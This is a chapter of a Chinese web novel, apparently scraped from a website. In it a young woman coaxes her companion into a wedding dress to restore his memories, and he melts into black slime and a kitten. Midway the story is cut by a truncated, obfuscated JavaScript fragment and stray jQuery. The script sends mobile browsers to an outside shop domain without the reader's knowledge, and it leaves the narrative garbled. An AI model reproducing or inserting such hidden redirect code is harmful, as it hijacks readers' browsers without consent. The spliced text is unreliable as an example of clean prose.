迈入房间的那一刻,玄宿嗅到了浓重的玫瑰花香。
香气与光线被锁在了厚重的遮光帘里,房间内没开灯,他的世界被这片令人昏昏欲睡的甜腻黑暗层层包裹。
蒋轲玹呢?
玄宿没在房间中看见任何人。
忽然,他眼前一黑。
一双手从身后绕上来的盖住了少年的眼睛。
从熟悉的气味和身形可以判断,来的人是蒋轲玹。
“怎么了?”玄宿问。
对方没有说话。
黑暗虽然模糊了玄宿的视觉,但其他方面的感受却更加鲜明。
衣袖落在玄宿的肩头,他能清楚地感受到蒋轲玹贴着他的身体转了过来,轻纱蹭着他的脖颈往前滑去,激起一阵颤抖。
遮在他眼睛上的手松开了。
白裙少女站在黑暗的房间中央,碎钻闪烁的长长的银色拖尾落在深红色的地毯上,宛若一条流淌在无边曼珠沙华上的银河。
玄宿呼吸一窒。
蒋轲玹揽住了他的腰。
“你不是穿好了吗?”玄宿牵起蒋轲玹的一只手放到自己的脸颊边。
“很好看。”
他绿色的眼睛里满是她。
只见少女扬起笑容,垫着脚尖凑到他耳边轻声说:“在我身上的这件是穿好了。”
“但是我还想看你穿。”
玄宿:……
玄宿:……………………
从容的玄宿僵住了。
什么?
“你在开玩笑?”玄宿的喉咙有些干。
“没有啊,我很认真。”蒋轲玹松开他的腰,捧起一件白色的露背短款婚纱。
“你小腿的线条很漂亮,穿上这个一定很好看!”蒋轲玹毫不吝啬地夸奖。
玄宿:!!!
突如其来的巨大羞耻感窜上了玄宿的天灵盖。
少年的面颊发烫,他不清楚自己为什么此刻的心绪会如此纷乱,好像这个场景曾经出现过一样。
“怎么了?不行吗?”蒋轲玹表情可怜的反捧住了他的脸。
“不,不是……”
玄宿不清楚要怎么说,他侧过头避开少女的目光,皮肤从锁骨一路红到了耳尖。
他很难表达自己现在复杂情绪,但他就是觉得不对劲。
“你为什么突然要我穿这个?”
“没为什么,我就是想看。”
蒋轲玹看着对方仍旧一脸纠结,也不多说,直接上手扯开了他身上的扣子。
玄宿:???!!!
“不行!!!”少年终于崩溃有些崩溃的大喊。
“为什么不行?!”蒋轲玹像个无良恶霸,死死纠着比自己高大得多的少年,“你刚刚才说的,这场婚礼我想怎么样都可以!”
“堂堂庄园主人,怎么可以出尔反尔!”
“但是不包括这个!!”
“你骗我!诈骗犯!”
“我没有!”感觉脑袋被高温烫到发懵的玄宿突然智商上线,提出致命一问:“不对,我是男的,为什么要穿女装?”
蒋轲玹:……
“那我穿男装给你看喽。”蒋轲玹强词夺理,趁对方不注意,轻轻一推。
被偷袭的玄宿被推到了沙发上。
蒋轲玹一个跪坐,直接压在了他的身上!手速超绝地一把拽下对方整齐的西装马甲狠狠丢到地上。
“这哪里一样!这根本不一样!”玄宿死死护住自己最后的尊严。
“哪里不一样了?!”蒋轲玹话锋一转,“你穿都没穿,怎么知道自己不合适?”
“谁说我没穿过?!”
话刚说出口,玄宿自己都愣住了。
为什么他会觉得自己穿过?
蒋轲玹乘猫病,要猫命,乘胜追击,直接把少年的衬衫扒了下来!
同时两手左右开弓,以迅雷不及掩猫耳之势,丝滑地将那件带着巨大白色蝴蝶结的长裙套在了他身上!
玄宿:!!!
少年的洋溢着青春气息却不夸张的肌肉线条在轻纱下若隐若现。
他白皙的皮肤上被蒋轲玹掐出了好几个红印,衬着洁白的丝绸长裙,视觉冲击力极强,一时间难以言喻。
“哇哦……”蒋轲玹发出意味不明的赞叹,并流氓似的吹了个口哨。
玄宿:……
蒋轲玹欣赏够了,凑到全身红到爆炸的某猫耳边,恶魔低语:“你刚刚说什么来着?”
“谁说你没穿过?”她模仿着玄宿的语气一字一顿地重复道。
“那你到底是什么时候穿过的?”
玄宿一脸茫然,翠榴石的眼睛闪着泪光,看起来像被狠狠欺负了一顿。
蒋轲玹:……
不行,不能心软。
蒋轲玹按捺下心底的愧疚,继续演戏。
她拽紧了对方腰间的蝴蝶结,准备给对方的记忆来个最终暴击。
“这个蝴蝶结挺适合你的,你喜欢这种类型的?”
玄宿喃喃道:“我没有……”
“那明明就是你给我套上的,为什么说我喜欢?”某猫的脑子一片混乱,糊成了浆糊,零零碎碎的画面从他脑子里一闪而过。
潜意识里总有一道陌生的声音告诉他:禁止回忆!一切正常!
但那股无比熟悉的羞耻感,无时无刻地反复提醒他:他确实遗忘了一些事。
玄宿控制不住地去回忆当时的画面。
企图从零碎的记忆中找到线索。
他真的穿过吗?什么时候?他怎么会去穿女装?
蒋轲玹看他陷入沉思,又推了他一把。
“啊?不喜欢吗?我还以为上一次……”
少女的话起到好处的戛然而止。
玄宿:!
“上一次?什么上一次?!”他抓紧了蒋轲玹散落在自己身上的裙摆。
“没什么,你想不起来就算了。”
玄宿更崩溃了。
这时候不让他想,他脑子里越控制不住地去想。
欲望强烈到甚至压过了那道若有若无的抑制。
“告诉我吧……”
什么时候?他到底什么时候穿过女装啊?
蒋轲玹毫不留情,起身就走,顺手把那个做道具的蝴蝶结装到了自己的裙子上。
玄宿的犬齿发痒,蠢蠢欲动。
他想扑上去,把那个可恶的邪恶蝴蝶结给咬散。
为什么是咬?
为什么他讨厌蝴蝶结?
脑海中突然出现的大片大片无法填补的记忆空白,玄宿感觉到一股巨大的力量把他从身体里往外拽。
他的视线越来越模糊,身体越来越轻,眼皮也越来越重。
疯狂涌入的记忆在意识里瞬间爆炸。
他昏了过去。
“咚——”
身后传来一身闷响,蒋轲玹猛地回头,看见了她此生难忘的一幕。
玄宿在融化。
是的,融化。
很难形容现在的情况,短短几秒内,支撑它衣服的骨骼和肌肉在不断塌陷,衣服顺着融化的肢体逐渐干瘪。
此时“玄宿”就像一滩混杂着炫彩珠光黑色史莱姆,一点点的在地毯上铺开。
蒋轲玹不知所措。
为什么会这样?
玄宿呢?
她什么都没干呀,她明明就只是想让他恢复记忆不是吗?
那滩黑色东西有生命般蠕动,冒泡,其中立起的几只细小触手在空气中不停摆动。
蒋轲玹大脑一片空白,她脱力般跪坐在地上,愣愣地看着那滩东西。
下一秒,她爬了过去,企图在那一摊东西里找到玄宿还活着的踪迹。
她反复伸手捧起黑泥,但它们却一次又一次顺滑地从她指尖流下,不剩下一丝一毫。
恐怖的绝望感笼罩着她。
她杀死了玄宿?
……不会的,不可能,玄宿怎么可能会死?
“咪……”
一声熟悉的猫叫传进她的耳朵里。
是玄宿!
蒋轲玹激动的朝过头,发现不远处的一滩黑色里蜷缩着一团毛茸茸的小东西。
因为房间过于暗,浑身黑色的它简直和黑泥融为一体。
小小一只的黑色塑料袋就那样可怜兮兮地躺在泥里,它的毛毛都被黑泥给蹭脏了。
蒋轲玹:!!!
她的宿宝回来了!
她兴奋地把小猫捞了出来,擦干净了它身上黏糊糊的东西。
这东西像是有生命一样,被碰到就掉到了地毯上,并以一种不慢的速度回流,重新聚拢回到它们母体瘫软的位置。
黑色的毛绒团躺在蒋轲玹的两手之间,她看起来比之前更小了,可怜地仿佛风一吹就会死掉。
玄宿紧闭着双眼,一副痛苦的样子,仿佛陷进了深沉的梦境里无法醒来。
宿猫不再扮演雪莱男爵了,但似乎脱离爱丽丝的影响还需要一定时间……
蒋轲玹皱眉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14192599|145541||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>难怪游戏空间没有变化。
但光靠女装威胁就能走到这一步,已经远远超出了蒋轲玹原本的预期!
蒋轲玹有些心虚地捏着小猫脸:原来女装对玄宿刺激这么大的吗,下次还是别惹他了……
黑色猫崽的体温随着它的呼吸与上下起伏的身体在蒋轲玹的手心里散开,它粉色的草莓巧克力肉垫在大尾巴下若隐若现。
蒋轲玹觉得自己正捧着一大团暖呼呼的黑色蒲公英。
蒋轲玹:(///V///)
天哪,地球没了小猫还能转?硬撑罢了!
蒋轲玹罪恶的手还没碰到黑绒球的耳朵,就被角落里骤然响起的声音打断了。
“……刺啦……轲……刺啦玹。”
声音熟悉又陌生。
混着诸多短促复杂的无意义音符,其中夹杂着她的名字。
有东西在背后盯着她。
蒋轲玹一僵。
她缓缓侧过头,角落里空无一人,就连空气都和她除了……地上的那滩东西。
散落在地毯上的黑泥不知什么时候,缓缓凝聚了起来。
祂有生命般,歪歪斜斜地按照自己想象中的人类外观,组成了一个模糊粗糙,似人非人的怪物。
!
蒋轲玹立马起身后撤一步,拉远自己与着玩意的距离。
不远处,那团东西正努力模仿着雪莱男爵说话的动作。
“轲……玹,你……刺啦……手里拿的是……什么?”
蒋轲玹本能地把昏迷不醒的宿猫猫藏在自己身后。
“没,没什么。”
“啊对了。”她一边说一边提起脚尖往门口退去,一边绷紧神经,高度紧张地观察着那团浑身散发着危险气息的黑泥。
生怕祂趁自己不注意直接扑上来。
随着她的移动,黑泥果真变幻着方向。
蒋轲玹无声地吸了一口气,若无其事道:“我先出去看看烟花准备的怎么样了?晚上不是婚礼的时候还要放吗?”
“婚礼……婚……礼。”
黑泥似乎在理解着这个词的含义。
“办婚……礼的时候放?”
“是啊,那是我们的婚礼,一定要让人印象深刻。”蒋轲玹笃定。
“我们的婚礼……你……参加?”
“是的,我一定会准时参加我们的婚礼的,你放心吧。”蒋轲玹的脚后跟碰到了门槛。
“……好啊……刺啦……”
蒋轲玹心里一松,脚跟落在了隔间外的地板上。
那道阴冷、黏腻,令人胆寒的视线仍随着她的步伐一点点向外挪动。
这东西和玄宿根本不一样,简直就像是……
爱丽丝。
“等等!”尖叫打破了表面的平静,黑泥内部隆起一个人形,祂在眨眼间就贴到了蒋轲玹的面前!
腐臭扑面!
那是一张被黑泥紧紧包裹其中的脸,不断游移的五官在流动的黑泥上飘动,像是来自不同动物身上的眼球死死盯着表情的每一个细微的变化。
“你骗我?!”祂愤怒地尖叫。
蒋轲玹直视那张融化脸,平静地说:“没有,你怎么能这样说呢?”
“刺啦……那你身后……刺啦……藏着什么东西!”
祂看见了?
“什么都没有。”蒋轲玹笃定的说。
“那就伸出你的手!”祂说。
蒋轲玹沉默了三秒,伸出了背在身后的手。
手里空无一物。
“我说了,没有!”
她忍着恶心,看着那张流动的脸用自己的每个五官仔仔细细地观察她的手掌。
终于,祂松口了。
“刺啦……你走吧……刺啦。”祂带着零零碎碎的五官,重新退回黑暗中,“……刺啦……一定要记得晚上……准时参加我们的婚礼。”
“我会的。”会你个大头鬼。
……
蒋轲玹强撑着平静走到了书房的外间,压抑与混沌离她远远,她缓缓呼出一口气。
行至门口,她看见了安静摆在桌面上的捧花。
瞬间,她想起了自己对戒指眼熟的原因。
她眼熟的不是戒指!是那两颗宝石!
它们和主卧床底的那五对干瘪的宝石长得一模一样!
蒋轲玹一把抓起捧花就往外跑。
蓝宝石是人眼,两颗就是一双!
捧花是一颗头。
她找到爱丽丝的头了!